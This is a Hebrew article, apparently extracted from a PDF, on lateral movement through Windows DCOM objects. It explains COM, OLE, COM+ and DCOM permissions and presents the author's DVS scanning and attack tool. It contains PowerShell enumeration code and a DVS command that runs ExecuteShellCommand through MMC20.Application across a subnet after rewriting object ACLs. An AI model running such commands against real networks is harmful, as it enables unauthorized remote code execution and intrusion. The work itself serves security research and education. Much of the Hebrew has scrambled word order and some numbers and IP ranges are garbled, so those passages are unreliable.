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איך עושים  - DCOM Objectsתנועה רוחבית באמצעות 

 את זה נכון?
 מאת נימרוד לוי

Devious 

 (עַרְמוּמִי, נַכְלוּלִי, נָלוֹז; עֲקַלְקַל, פְתַלְתֹל, עוֹקֵף; נִדָח)

 הקדמה

 תנועה ידי על שלו האחיזה את להעמיק מנסה תוקףה בו שלב הינו (Lateral Movement) רוחבית תנועה

 בה והמכונה . כל זאת לאחר שהשיג אחיזה על אחת המכונות ברשת, ובהנחהברשת אחרות למכונות

 .נכס או מערכת אשר הגדיר כיעד מבצעי\למידע לגשת יכולה אינה או מכילה אינה, שוהה

 ותהשתלט כגון, שלו התקיפה יעדי את לממש מנת על ,ברשת שונים ונכסים מכונות בין לנוע ינסה ,התוקף

 Crown) בתקיפה מבצעי יעדכ הוגדר אשררלוונטי או כל נכס  המכילה מידע מערכת, רגישות סביבות על

Jewels).  

  :ברשת רוחבית לנוע בהן תוקף יצטרך דוגמאות מספר לפניכם

המובילה להרצת קוד בשרת, כאשר התוקף מעוניין להגיע לשרת אחר  WEBניצול חולשת  לאחר .1

 .DB-ברשת, לדוגמא: ה

המייל הארגוני, כאשר התוקף  אלעובד ארגון ע״י שליחת קובץ זדוני על מחשבו של  השתלטות לאחר .2

מעוניין לדלג למכונות של משתמשים בעלי גישה חזקה בארגון, לדוגמא: דילוג למכונה של משתמש 

 .Domain Adminשאת בהר

או כבל בקיר(, כאשר מטרת התוקף הינה לקבל אחיזה על  Wi-Fiלאחר קבלת גישה לרשת הארגון ) .3

 משתמש המשויך לדומיין הארגון ובעל הרשאות, על מנת לגשת לשרת הקבצים המכיל מידע פיננסי. 

מתועדות במאגר המתוחזק ע״י  רובןרוחבית ברשת,  תנועהביצוע ל טקטיקותמספר רב של  קיימות

MITRE: 

https://attack.mitre.org/tactics/TA0008/ 

 :DCOM Objects באמצעות רוחבית תנועהטכניקה של  על נתבסס אנו זה במאמר

https://attack.mitre.org/techniques/T1021/003 

https://attack.mitre.org/techniques/T1021/003/
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רוחבית באמצעות אובייקטים על גבי פרוטוקול  תנועההאחרונות פותחו מספר שיטות לביצוע  בשנים

DCOM ,מסדרת  ההפעלה תובמערכ מחדל כברירת מופעל אשרWindows. 

 Internet)לדוגמא:  במערכת ההפעלה בתוכנות מובנות DCOM Objects-ב ניכר שימוש ישנו, כן כמו

Explorerלדוגמא: תוכנות ( ו( חיצוניותMicrosoft Office)אשר . חלק מתוכנות אלה מייצאות אובייקטים 

זו נחשבת ליעילה  טכניקה .ההפעלה מערכת גבי על פקודות להריץ המאפשרות פונקציות מיחצנים

מה שמאפשר  ,ושקטה, מכיוון שאובייקטים אלה מגיעים עם תמיכה של מערכת ההפעלה כברירת מחדל

 DCOM-ב השימוש. כאמור, Windows על כמעט בכל רשת ארגונית המבוססת םלתוקף לנצל אות

Objects .להסיק ניתן נחשב "לגיטימי", מכיוון שמערכת ההפעלה עושה שימוש בפרוטוקול זה באופן תדיר 

בארגון יאפשרו התקשרות אל מול פרוטוקול  ACL-וה Firewall-ה שהגדרות גבוהה סבירות ישנה כי מכך

 זה.

לאתר ולאמת פונקציות  ניתן כיצד לדעת אותי עניין, DCOM Objectsמחקר אישי שערכתי אודות מ כחלק

 עם שוחחתי .פקודות על גבי מערכת ההפעלה\קוד ריץלה המיוחצנות מתוך אוביקט ספציפי ומאפשרות

 לביצוע תחקור דינמי וסטטי שלמעניינים וכיוונים חברי הטוב, רפאל איבגי, שנתן לי כמה מקורות 

 לרשוםלקחת את זה לעולם שלי, ו החלטתי, אובייקטים מבוזרים. לאחר שהבנתי קצת איך זה עובד

 ולנצל לאמת, לאתר שידע חכם סקריפט לרשום היה הרעיון .בשבילי העבודה את שיעשה סקריפט

 מכן ולאחר, המקומית במכונה פונקציות המיוחצנות מתוך אובייקט ספציפי, ומאפשרות להריץ פקודות

 .ממש של לכלי הפך והסקריפט מורכב להיות התחיל הפיתוח תהליך מפה. ברשת מרוחקות במכונות

 את מכיל והוא ,Dcom Vulnerability Scanner של תיבות ראשי וגם Devious, מהמילה DVSקוראים  לכלי

 . מעבר קצתאף ו, במאמר הקיימים הקונספטים כל

הדגמה  סרטוןוב GitHub :DVS/ScorpionesLabs/com.github://https-ב הנמצא בקוד לצפות מוזמנים אתם

 .FAjwybmFJAA/be.youtu://httpsלמכונות ברשת באמצעות הכלי:  תנועההממחיש  YouTube-ב

 

 כמה מושגים לפני שנתחיל

Object COM  קיצור(של Model Object Component):  הינו ממשק בינארי המיחצן אוסף של פונקציות

 תוכנות מספרב בו ולהשתמשפעם אחת  שקומפל קודלטעון  מאפשר זה אובייקט .באמצעות אוביייקט

מאפשר  COM, מודל בנוסף .על מנת להיתמך באותן התוכנות מחדש קימפול לדרוש מבלישונות 

על  תחשבו נכתבו.הם הם עובדים או לשפה שבה  יזה אופןלאלאובייקטים לדבר אחד עם השני, ללא קשר 

 גבי על ומיושם מיוצא הוא, קובץ של טעינה באמצעות ומיושם מיוצא להיות במקום אשר, DLLזה כמו על 

 (.בהמשך נרחיב, COM Server)אשר מקבל ומחזיר מידע  שרת

https://github.com/ScorpionesLabs/DVS
https://youtu.be/FAjwybmFJAA
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פינות עגולות ורקע ירוק" ולהשתמש בו מרובע עם של "כפתור גרפי  COMאובייקט  ר: ניתן ליצודוגמאל

 מאפיינים אותו עם אותם לעטוףו"ביטול", -להציג למשתמש כפתורי "אישור" ו אשר צריך חלוןבכל 

 פינות עגולות ורקע ירוק(.כפתור מרובע, ביים )עיצו

החל  .כזהמכל תוכנה שמייצאת אובייקט  Componentמאפשר לייבא פונקציונאליות/ COMאובייקט 

ארוז ומיוצא  Internet Explorer כמו למשל, COMועד לתוכנה שלמה שמהווה אובייקט  - מאובייקט גרפי

 . מיקרוסופטניתן לקרוא הסבר רחב יותר מהדוקומנטציה של  כאובייקט.

 :Wscript.Shellמסוג  COM Objectבאמצעות  פקודהלהרצת  דוגמא

PS> $com = 

$([System.Activator]::CreateInstance([Type]::GetTypeFromProgID("Wscript.Shell"))) 

PS> $com.Run("calc.exe") 

 הקיימים במכונה המקומית: COM Objectsקוד המחלץ את רשימת דוגמא לקטע 

PS> Function Get-ComList { 

    $path = "REGISTRY::HKey_Classes_Root\clsid\*\progid" 

    foreach ($val in dir $path) { 

        $val.getvalue("") 

        } 

    } 

PS> Get-ComList 

  בהגדרות ברירת מחדל: Win10 לפניכם דוגמא לפלט המכיל את רשימת האובייקטים במכונת

 

OLE  קיצור(1 שלEmbedding and Linking Object) :טכנולוגיה לקישור בין אובייקטים והטמעתם  היא

זו מאפשרת הטמעה של אובייקט שמיוצא ע"י תהליך אחד לתוך  טכנולוגיה .COM Objectsבאמצעות 

                                                           
 

1 https://docs.microsoft.com/en-us/cpp/mfc/ole-background?view=vs-2019 

https://docs.microsoft.com/en-us/windows/win32/com/the-component-object-model
https://docs.microsoft.com/en-us/cpp/mfc/ole-background?view=vs-2019
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, מאפשרים אינטגרציה בין סוגי רכיבים וסוגי מידע שונים )כגון תמונות, וידאו, OLE מסמכי תהליך אחר.

 וכו'(, כל זאת בשימוש מחלון אפליקציה אחת מבלי הצורך לעבור בין אפליקציות שונות. תגיליונוקבצי קול, 

 . Wordבתוך מסמך  Excelצפייה בטבלת  :לדוגמה

בינאריים ושל  Officeהינו גם השם של פורמט לשמירת מידע שהינו גם הפורמט של קבצי  OLE, בנוסף

 .thumbs.dbכמו  SHELLנוספים כגון רכיבי  Windowsרכיבי 

OLE  מבוסס על תשתיתCOM כל אובייקט .COM את ה םשמייש-Interface בשם IOleObject נחשב ,

 .OLEלאובייקט 

 :במכונה המקומית הקיימים OLE Objects-ה רשימת את המחלץ קוד דוגמא לקטע

PS> Function Get-OLEList{ 

    $path = "REGISTRY::HKey_Classes_Root\clsid\*\TypeLib" 

    foreach ($val in dir $path) { 

        $CLSID = $($val.Name).Split("\")|Select -Index 2 

        $progObj = Get-Item "Registry::HKey_Classes_Root\clsid\$($CLSID)\ProgID" 

-ErrorAction SilentlyContinue 

        if($?) { 

            $ProgID = $progObj.GetValue("") 

            Write-Host "ProgID: $($ProgID)" 

        } else { 

            $progObj = Get-Item "Registry::HKey_Classes_Root\clsid\$($CLSID)" 

            $ProgName = $progObj.GetValue("") 

            Write-Host "ProgName: $($ProgName)" 

        } 

    } 

} 

 

PS> Get-OLEList 

  בהגדרות ברירת מחדל: Win10 לפניכם דוגמא לפלט המכיל את רשימת האובייקטים במכונת
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ActiveX: אובייקט  הינוOLE  שתומך באובייקט מסוגIUnknown. בקצרה ,ActiveX הטכנולוגיה  נההי

שיתקשר עם  HTMLעמוד תוך הראשונה שאפשרה לאתר אינטרנט להריץ קטע קוד בשפות שונות ב

  אפליקציות במערכת ההפעלה או יריץ רכיב תוכנה בתוך הדפדפן.

-אשר פותח את ה ActiveXעם קטעי קוד בשפות שונות המפעילות אובייקט  HTMLלעמוד  דוגמאהינה 

CDROM: 

<html> 

<head> 

<meta http-equiv="x-ua-compatible" content="IE=5"> 

</head> 

<body> 

VBScript Example: 

<script language="VBScript"> 

    <!-- 

        ' Access the Windows Media Player CD-ROM collection 

        Set oWMP = CreateObject("WMPlayer.OCX.7") 

        Set colCDROMs = oWMP.cdromCollection 

         

        ' If the computer has at least one CD-ROM drive... 

        If colCDROMs.Count >= 1 Then 

            ' ...eject each one 

            For i = 0 To colCDROMs.Count - 1 

                colCDROMs.Item(i).Eject 

            Next ' As in "next CD-ROM drive" 

        End If 

    --> 

</script> 

 

And in JScript, Microsofts version of JavaScript: 

<script language="JavaScript"> 

    <!-- 

        // Access the Windows Media Player CD-ROM collection 

        var oWMP = new ActiveXObject("WMPlayer.OCX.7"); 

        var colCDROMS = oWMP.cdromCollection; 

         

        // If the computer has at least one CD-ROM drive, eject each one 

        if (colCDROMS.count >= 1) for (i = 0; i > colCDROMS.count; i++) 

colCDROMS.item(i).eject(); 

    --> 

</script> 

 

</body> 

</html> 

 

Object+ COM: של  ההרחבה הינהObject COM ,יותר טובים וביצועים אבטחה מודל מממשת אשר .

 .הרשת גבי על לתקשר ורכיבים לאפליקציות מאפשרתהרחבה זו 

 האבטחה של תוכנה ב' מבלי לחשוש שיפגע באבטחה שלה. +COMדוגמא: תוכנה א' יכולה לטעון רכיב ל

 אפליקציה"י ע בפועל ויתארחו" Out of Processיטענו במצב " COM+-הנרשמים כ COMנוצרת כיוון ורכיבי 

 .חיצונית
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" Pdump.ProcessDump" בשם +COM-ה רכיב את נתטוע MyApp.exe תרחיש לדוגמא: אפליקציית

או בתהליך אחר  dllhost.exeבתוך תהליך מתווך כגון  יטען +COM-רכיב ה(,  )ממליץ לכם לחקור אותו

 של מערכת ההפעלה.

 :במכונה המקומית הקיימים COM+ Components-ה רשימת את המחלץ קוד לפניכם

PS> Function Get-COMPlus { 

$comAdmin = New-Object -com ("COMAdmin.COMAdminCatalog.1") 

$applications = $comAdmin.GetCollection("Applications") 

$applications.Populate() 

  

foreach ($application in $applications) 

{ 

  

    $components = 

$applications.GetCollection("Components",$application.key) 

    $components.Populate() 

    foreach ($component in $components) 

    { 

  

        $dllName = $component.Value("DLL") 

        $componentName = $component.Name 

  

        "Component Name:$componentName" 

        "DllName: $dllName`n" 

    } 

} 

} 

 

PS> Get-COMPlus 

: מחדל ברירת בהגדרות Win10 במכונת האובייקטים רשימת את המכיל לפלט דוגמאובנוהל, 
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Object DCOM  קיצור(של Model Object Component Distributed:) הגרסה האחרונה  הינה

 ".Network OLEתחת השם " Windows 3.1-ב במקור נוצר, אשר COM+ Objectוהמשופרת של 

 התקשורת בין המכונות .מרוחקות במכונות אובייקטים לש יצירה והפעלה לאפשר כדי נועד זה אובייקט

 .DCE/RPCשימוש בפרוטוקול  באמצעותמתבצעת 

 :במכונה המקומית הקיימים DCOM Objects-ה רשימת את המחלץ לדוגמא, קוד

PS> Function Get-DCOMList { 

    $path = "REGISTRY::HKey_Classes_Root\CLSID\*" 

    foreach ($val in dir $path) { 

        if($val.GetValue("AppID")) { 

        $CLSID = $val.Name.Split("\")|Select -Index 2 

        Write-Host "CLSID: $($CLSID)" 

        } 

    }         

} 

 

PS> Get-DCOMList 

 :מחדל ברירת בהגדרות win10 במכונת DCOM Objects-של רשימת ה Output-הוכן, 

 

 :אאשר הוא מייצ Interfaces-ב ולצפות ,Internet Explorerמסוג  DCOM Object כך ניתן ליצור

PS> $com = 

$([System.Activator]::CreateInstance([Type]::GetTypeFromProgID("InternetExplorer.Applicati

on", "127.0.0.1"))) 

PS> $com | Get-member 
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 במכונה המקומית שלי:  הזמינים Internet Explorerשל האובייקט  Interfaces-ה וזאת רשימת

 

אובייקטים במכונה וליצר וכיצד למצוא  Windows-ב COM-ה אובייקטישהבנו כיצד עובדים  לאחר

 המקומית, נשאלות השאלות הבאות:

 הנתקפת במכונה הנגישים אובייקטיםב ולהריץ פונקציות לסרוק תוקף יוכל כיצד? 

 הנתקפת כיצד לאמת האם אובייקט ספציפי קיים ונגיש? 

 לתקשר עם אובייקט במכונה הנתקפת גישה לתוקף יש האם? 

עטפו כל ו ,יצרו מערך הגנתי סביב הנושאו על תוקפיםמנסים להקשות  Microsoft שבחלק הזה כמובן

 ? +COMזוכרים את מה שרשמתי למעלה על .ACLאובייקט תחת מנגנון הרשאות 

 ?התקיפהתהליך  על לנו משפיע הוא ואיך מורכב הוא ממה? ACLמה זה בעצם  אז

ACL  קיצור של(List Control Access:) שקיים אובייקט כל אודות חוקים סט המכילה בקרה רשימת הינה 

מי יצר את רצף  כגוןמורכב ממאפיינים ) ACL-ה .Registry, החל מתיקיה, קובץ ועד לאובייקט Windows-ב

 .SACL-ו DACLהחוקים( ורשימות 

SID  קיצור(של Identifier Security:) משתמש לכל הקיים ייחודי מזהה הינו (User ,)שירות (Service )או 

  .ההפעלה במערכת( User Group) קבוצה

 SID: .S-1-5-21-3272315122-240233272-2130969425-1000כך נראה 

 .ישיר באופן SID-הכוונה היא ל, הקבוצה״״\״המשתמש״ במאמר שארשום פעם בכל :הבהרה
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ACE קיצור של( Entries Control Access:) המשתמש  ממזההרשומה של בקרת גישה, המורכבת  הינה

(SID )רשימות הב ביטוי לידי באה זו רשומה. לו חסומות או מאופשרות אשר הרשאות ורשימת-DACL הו-

SACL. 

SACL  קיצור(של  List Control Access System:) ה מנגנון, כלומר. למערכת ניטור בקרת רשימת הינו-

Logging .המתעד את ניסיונות הגישה לאובייקט SACL  מכיל את רשומותACE  המכילות את החוקים אודות

  כאשר משתמש כלשהו מבצע גישה לאובייקט. ינוטרמה 

 .בניסיון מחיקה שנכשל 1: משתמשלדוגמא

DACL  קיצור(של  List Control Access Discretionary:) בקרת גישה לאובייקט, רשימה זו  תרשימ הינו

 רשאי או אינו רשאי לבצע פעולה כלשהי. SIDהקובעות איזה  ACEמכילה רשומות 

 מסוימת. תיקיה מחיקה שלאו  , עריכההלצפיי Administratorsקבוצת התרת גישה ל :גמאלדו

Descriptor Security: מבנה בינארי המכיל שדות רבים, כולל הבעלים של האובייקט, ומכיל את  הינו

עוד אלמנטים שלא נעסוק בהם על של אובייקט, כמו כן  DACL-ו SACL(, ומצביעים על ACL) הגישהבקרת 

 כאן.

SDDL  בקיצור(של String Language Definition Descriptor Security:) מחרוזת המורכבת  הינה

ונשמר  SDDLמיוצג במחרוזת במבנה  DACL/SACLרשימה של  כל .SIDמתבנית של החוקים החלים על כל 

 .Security Descriptor מסוגבמבנה 

 

-ב אובייקט שלכל מבינים כעת אנחנו שהבנו קצת מושגי יסוד, הגיע הזמן לצלול עמוק יותר. לאחר אז

Windows  לנחש רוצים לא שאנחנו ובהנחה .אליו חוקים המתירים או חוסמים גישהסט באשר הוא, יש 

המשתמש  האם מראש נתחאשר ידע ל (DVS) , כתבתי קטע קוד בתוך הכלילאובייקט גישה לנו יש האם

 רשאי, או לחילופין, מסוים אובייקטללגשת  רשאיקבוצות שהוא חבר בהם(,  האו ) אליו אנו מחוברים

-באמצעות עדכון רשימת השל אותו אובייקט על מנת להתיר לנו גישה לאובייקט ) ACL-את ה לשנות

DACL .)לא, אלוהי נשמע ? 
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 עושה? DVS-ה בעצם מה אז

)או  המשתמש אליו אנו מחוברים האם לבדוק, הנתקפת במכונה אובייקטים וליצר לאמת, לסרוק יודע הכלי

ואינו  במידה .לאובייקטים הקיימים במכונה המרוחקתאו לגשת  ליצר רשאי( משויךהקבוצות אליו הוא 

 אותו של Security Descriptor-לערוך את ה המשתמש רשאי, אך מסוים לאובייקט רשאי לגשת

 .האובייקט ולאחר מכן ייצר את( SID) למשתמש גישה יותיר הכלי, הגדרות ברירת מחדל\האובייקט

 Security-ה את ישחזר הכלי(, תקיפה או)סריקה  באובייקט פעילותו את סיים שהכלי שלאחר כמובן

Descriptor ( לצורתו המקוריתHousekeeping.)  

אשר האובייקט מיחצן, וינסה לבדוק האם הן עלולות לאפשר הסריקה, הסקריפט יחפש פונקציות  בתהליך

את אותן יחפש  הכלי רקורסיבית אל תוך האובייקט. אנומרציהעל ידי  הרצת פקודות. פעולה זו תתבצע

מוגדרים מראש, ויוודא היתכנות של הרצת פקודות ע״י הנחות  Strings-ו Patternsבאמצעות  פונקציות

 יסוד שנציג בהמשך.

, InternetExplorer.Applicationשל האובייקט  הראשי Interface-ה תחת פונקציות לחיפוש קוד לפניכם

 :”nav“ המכילות את רצף האותיות

PS> $com = 

$([System.Activator]::CreateInstance([Type]::GetTypeFromProgID("InternetExplorer

.Application", "127.0.0.1"))) 

PS> $com | Get-member -MemberType Method|where -Property Name -Like *nav* 

 :”nav“רשימת פונקציות המכילות את רצף האותיות של  Output-הו
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 : לזיהוי פונקציות בתוך אובייקטים אשר נגדיר לכלי לחפש פוטנציאלים Patterns-ל דוגמא

Run, DDEInitiate, CommandLine, CreateObject, GetObject, 

CoCreateInstance, RegisterXLL, File, Explore, Execute*, *Shell*, 

Navigate*, AddCodeAddFromString, NewCurrentDatabase, Eval 

 Patterns-של פונקציות אשר מאפשרות הרצת פקודות, ו Patterns-הרשימה שמצוינת מעלה מורכבת מ

  והיא תלויה בכם להשתנותימה יכולה הרששלדעתי גם יתאימו לפונקציות כאלה, אבל 

 הרשימה כמו)למשל  שהוגדרו ים-Pattern-ל עונה הפונקציה שם האם יאמת הכלי, הראשון בשלב

 הפונקציה האם יוודא הכלי(, שהגדרתם ים-Pattern-ה אחד של זיהוי ויש)במידה  השני בשלב (.למעלה

 .מקבלת שהפונקציה הארגומנטים סוג של וידוא ידי על לאפשר הרצת פקודות או קוד עלולה המיוחצנת

 :פגיעות כפונקציות ישלול שהכלי דוגמאות

 void Execute (int) 

 void Execute (bool) 

 :פגיעות כפונקציות יחשיב שהכלי דוגמא

 void Execute (string) 

 void Execute (variant) 

המקבלת רק  Executeאם יש לנו פונקציה שנקראת ומסיק ש ״הנחת יסוד״ מבצע הכלי כי להבין ניתן

 .ה שורת פקודה להרצהל להעביר נוכל שלא כנראה)מספר(,  intארגומנט מסוג 

ולהריץ  DCOM Object -מכונות באמצעות שימוש ב  שציינתי למעלה, הכלי גם יודע לתקוף כמו

 .על פי סדר המיוחצנות באובייקט ספציפי פונקציות/פעולות

ברשת  MMC20.Applicationמסוג  DCOM Object ה באמצעותלפניכם מציגה תקיפ הפקודה

 :DVS-באמצעות ה

PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -AutoGrant -

Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; 

Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList 

"10.211.55.1/24" -Verbose 

 שלנו למשתמש ואין במידה .MMC20.Applicationתנסה לאמת את הרשאותינו לאובייקט מעלה  הפקודה

 .לאובייקט לגשת ינסה הכלי, אושרה והגישה במידה (.AutoGrant) גישה לנו להתיר ינסה הכלי, גישה

 .ExecuteShellCommandבשם:  תהליך יצירת האובייקט, הכלי יריץ פקודה באמצעות פונקציה לאחר

של  session-ה כאשר ויתבצע, 11.111.55.1/12ות זמינה, בטווח הכתוב IPבכל כתובת פעולה זו תבוצע 

לגשת לאובייקט או להאציל סמכויות באמצעות  רשאי שסופקו לכלי( credentials)או  המשתמש התוקף

 ולאחר מכן לגשת לאובייקט. Security Descriptor-עדכון ה
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אנו יכולים לדעת האם המשתמש שאליו אנו  איך :מעניינת סוגיה לכם הנה, הזריזה הסקירה ולאחר

או כיצד נוכל לשלוף את הדומיין של המכונה הנתקפת כדי מחוברים אכן מותרת הגישה לאובייקט מרוחק? 

 לאבחן האם המכונה התוקפת משויכת לאותו הדומיין?

 :הבאות הפעולות את יבצע הכלי ,הנתקפת למכונה גישה לו יש אשר משתמש לנו ויש במידה, ראשית

-ה אובייקטיאו הספציפיים החלים על  חוקי ברירת המחדלעל מנת לשלוף את  Registry-ה עם יתקשר .1

DCOM .במכונה הנתקפת 

a. ל גישה ניסיון, תחילה-remote registry :באמצעות אימות השלבים הבאים 

i. 225גישה לפורט  ניסיון 

ii. פעיל השירות האם בדיקה. 

iii. לשירות התחברות ניסיון. 

b. ל להתחבר הכלי ינסה, ןבכישלו-Standard Registry Provider ( StdRegProv) 

i. 135גישה לפורט  ניסיון 

ii. פעיל השירות האם בדיקה 

iii. לשירות התחברות ניסיון. 

iv. ל גישה ניסיון-RegStdProv 

 בכלל אפשרית? ואם לא, האם ניתן לאפשר אותה מרחוק? DCOMהאם גישת  וידוא .2

 .לאובייקט הרשאות וידוא .3

״, אשר SkipRegAuthבמידה ואין לנו משתמש עם גישה למכונה הנתקפת, ניתן להשתמש בדגל ״ :הערה

 יגדיר לכלי לנסות לגשת לאובייקטים ללא ביצוע תשאולים ובדיקות אל מול המכונה.

 איתור תהליך יבצע הכלי(, Invoke-DCOMObjectScan) הכלי של הסריקה במתודת והשתמשתם במידה

 :הבאים מהשלבים מורכב זה תהליך .הנתקפת במכונה האובייקטים וסריקת

הרשימה הזמינים במכונה הנתקפת )במידה והגדרתם זאת, אחרת,  DCOM Objects-ה רשימת ייבוא .1

 (או שם אובייקט ספציפי שתספקו בעת הרצת פקודת הסריקה בכלי קובץמ תילקח

 (כך בהמשך על נרחיב, הרשאות)בדיקת  לאובייקט גישה היתכנות בדיקת .2

 ואין לנו הרשאות לביצוע פעולות, וידוא האם הכלי יכול להותיר לנו גישה  במידה .3

 (למעלה שפירטנו)כמו  פקודות\העלולות לאפשר הרצת קוד פונקציות ואימות איתור .4

 מסודר עם כל הנתונים הבאים: CSV ייצוא .5

a. שנמצאה כפוטנציאלית להרצת פקודות או קוד הפונקציה שם 

b. הסדר לפי לקבל מצפה שהפונקציה הארגומנטים ורשימת הפונקציה נתיב 

c. םסטטיינתונים  עוד (metadata )האובייקט שמייצא את הפונקציה  את לחקור לנו לעזור שיכולים

 .העונה לקריטריונים שהגדרנו
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שעלולות להיות  פונקציות ואיתור (DCOMהניתנות ליצירה מרחוק ) אובייקטים סריקת על דיברנו כאן עד

 קריטריונים שהוגדרו מראש.על פי  פגיעות

, ע״י שאינן מאפשרות הרצת פקודותפונקציות גם באמצעות  ריץ פקודותלההכלי יודע חשוב לציין ש

 מסקרן, אה?  (. המאמר בהמשך)נרחיב  Registry - במניפולציות  ביצוע

 של כל אובייקט? Security Descriptor-ה נשמר והיכן? DCOM-ל גישה לנו יש האם יודעים בעצם איך אז

 הנמצא בנתיב הבא: GUIהאובייקטים נשלט באמצעות ממשק  ניהול

%windir%\System32\dcomcnfg.exe 

 בשתי תצורות שונות: ברג׳יסטריאודות האובייקטים נשמרים  נתונים

 לאובייקט( םספציפיישל כל אובייקט ספציפי )במידה והוגדרו חוקים  רשימה .1

 ספציפיים חוקים לו נקבעו שלא אובייקט כל על חלים אשר, ברירת מחדל חוקי רשימת .2

 נראה כך: DCOM-ה שירות וביטול אישור

 

 N-מייצג שירות פעיל ו Y, כאשר Y/Nעל ידי ערכי  Registry-במיוצג ונשמר  DCOM-ה שירות והפעלת ביטול

-לכבוי, כל עוד יש לנו גישת עריכה  DCOM-מייצג שירות כבוי. ניתן להבין מכך שאף על פי ששירות ה

Registry ,בשימוש  באמצעות, נוכל להפעיל את השירות מרחוק-Registry !בלבד  

במכונה מרוחקת  RDP-ה שירות הפעלת :Pen-Test-דוגמא לתרחיש דומה ומוכר מאוד מעולם ה

 .Registry-בבאמצעות שינוי ערכים 
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 נראה כך: DCOMהפעילות של  מצב אודות Registry-ב הייצוג

 

 הבאים: הרג׳יסטריתחת ערכי  מוגדרים ושמורים DCOM-ה אובייקטיברירת המחדל של כלל  חוקי

1. MachineAccessRestriction: 

-ה כאשר, וממשקיו לאובייקט לגשת מורשים משתמשים אילו של( ACL) הגישה בקרת את מגדיר

COM Server .אשר אינם  םאובייקטיחלות על  ואל הרשאות של אותו האובייקט נמצא במצב ריצה

 .CoInitializeSecurity-מבצעים שימוש ב

MachineAccessRestriction  מכיל את רצף החוקים אודות כל אובייקט אשר לא הוגדרו לו חוקים

  ספציפיים.

, AccessPermissionוהוגדרו לאובייקט חוקים ספציפיים, חוקיו ישמרו בעץ האובייקט בשם  במידה

 :הבא במיקום הערך תחת

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\APP_ID\AccessPermission 

 :DCOMאובייקט ב( Access) גישה להרשאות דוגמא

 

 [defaultaccesspermission/com/desktop/windows/gb-en/com.microsoft.docs://httpsמקור: ]

Local Access  מגדיר גישה מקומית, ואילוRemote Access .מגדיר גישה מרוחקת 

 
1. MachineLaunchRestriction: 

https://docs.microsoft.com/en-gb/windows/desktop/com/defaultaccesspermission
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 .Activation-ו Launchאלו מתחלקות לשני רבדים של אבטחה,  הגדרות

Activation  הינה פעולת קבלת הגישה לאובייקט באמצעותmiddleware  אשר מתווך בין המכונה

לאובייקט, ומגדירה האם המשתמש רשאי להפעיל ולגשת אובייקט חדש. פעולה זו מתרחשת בעת 

 . CoCreateInstance-קריאה ל

Launch מי מורשה להריץ וליצר  מגדירCOM Server ,תהליך  ,בזמןActivation ,וה במידה-COM 

Server .של אותו אובייקט אינו נמצא במצב ריצה 

MachineLaunchRestriction הוגדרו לו חוקים  אמכיל את רצף החוקים אודות כל אובייקט אשר ל

  ספציפיים.

, LaunchPermissionוהוגדרו לאובייקט חוקים ספציפיים, חוקיו ישמרו בעץ האובייקט בשם  במידה

 :הבא במיקום הערך תחת

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\APP_ID\LaunchPermission 

 :DCOM( של אובייקט Activation and Launch) הרצה להרשאות דוגמא

 

Local Launch קובע האם ה-SID  רשאי לייצר ולהפעילCOM Server באובייקט ה-DCOM  במכונה

דרך  באובייקט COM Serverרשאי לייצר ולהפעיל  SID-קובע האם ה Remote Launchהמקומית, ואילו 

 מכונה מרוחקת.

Local Activation קובע האם ה-SID  ,רשאי לגשת לממשקים ולפונקציות של האובייקט ממכונה מקומית

רשאי לגשת לממשקים ולפונקציות של האובייקט דרך מכונה  SID-קובע האם ה Remote Activation ואילו
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לא  Launchלא נוכל לגשת לממשקי האובייקט וללא הרשאת  Activationרשאת , ללא הכלומר מרוחקת.

 על מנת לגשת לאובייקט. COM Serverנוכל ליצר 

 .ORBתהליך הגישה וההזדהות אל מול אובייקט הקיים במכונה אחרת ברשת מתבצע באמצעות  כל

ORB  קיצור(של Object Request Broker:) ( הינו משמש כמתווךMiddleware המנהל את ההתקשרות )

 .RPCאל מול האובייקטים ממכונה אחת למכונה אחרת ברשת דרך 

, אך איך בכלל DCOMכאן דיברנו על סוגי האובייקטים במערכת ההפעלה ועל מודל ההרשאות של  עד

גיליתי כי יש  Registry-ה? מחקירה פשוטה שביצעתי על ידי ריצה על COM-ל DCOMמבדילים בין 

 .DCOM Objectsהינם מסוג  מתוכם 211+, ורק COM Objectsרשומות של  11,111+

 מאפיינים ואילו, ההפעלה במערכת אובייקט ונשמר מיוצג כיצד להבין עלינו, האובייקטים בין להבדיל כדי

 1, אנו נרחיב על Registry-בעל ידי המאפיינים שנשמרים אודותיו  COMלזהות אובייקט  ניתן .עליו חלים

 מאפיינים עיקריים:

ProgID  קיצור(של Program ID:) שם האובייקט הנקבע על ידי המתכנת באופן מלא, לדוגמא  הינו

Nimrod.Levy  או דוגמא קיימתInternetExplorer.Application. ה של הרשימה את לראות ניתן-ProgID 

 או תחת הנתיב:  HKEY_CLASSES_ROOT'יסטרי תחת העץ: ברג

HKEY_LOCAL_MACHINE\Software\Classes 

 :ProgIDאשר הוגדר להם  לרשימת אובייקטים דוגמא

 

 קיימת לאובייקט ProgIDלהגדיר  מחויב אינו, והמתכנת המתכנת ידי על נשלט זה ששם העובדה מפאת

לאובייקט  ייחודיעוד מזהה  קיים ולכן או חוסר יכולת לתקשר עם האובייקט, התנגשויות שיהיו הסתברות

 .CLSIDהנקרא 
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CLSID  קיצור(של ID Class:) מסוג  יוייחודמזהה גלובאלי  הינוGUID ,לאובייקט ישיר באופן המצביע 

נתונים כמו: הנתיב של הקובץ שקומפל המכיל את פונקציות  Registry-, ומכיל תחת העץ שלו בהמותקן

 :הנתיבתחת  CLSID-ה רשימת את לראות ניתן .האובייקט

HKEY_CLASSES_ROOT\CLSID  

 :הנתיב תחת או

HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID 

 :Registry-ב DCOMשל אובייקט  CLSIDלמזהה  דוגמא

 

 ?DCOM-ו COM+, אז איך מיוצגים אובייקטים מסוג Registry-ב COM Objectכאן, הבנו איך מיוצג  עד

מאפשר גישה ממכונות מרוחקות ולכן יש לו עוד ייצוג ייחודי בשם  DCOM, אובייקט +COM-ל בדומה

AppID. 

AppID  קיצור(של Application ID:) מזהה ייחודי מסוג  הינוGUID בדומה ל(-CLSID ,)של ייצוג מכיל 

 ומאפיינים האובייקט אל ההרשאות סט את, המכיל בין היתר DCOM/COM+ Object-כ שרצה האפליקציה

  .נוספים
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 תחת הנתיב: AppID-ה רשימת את לראות ניתן

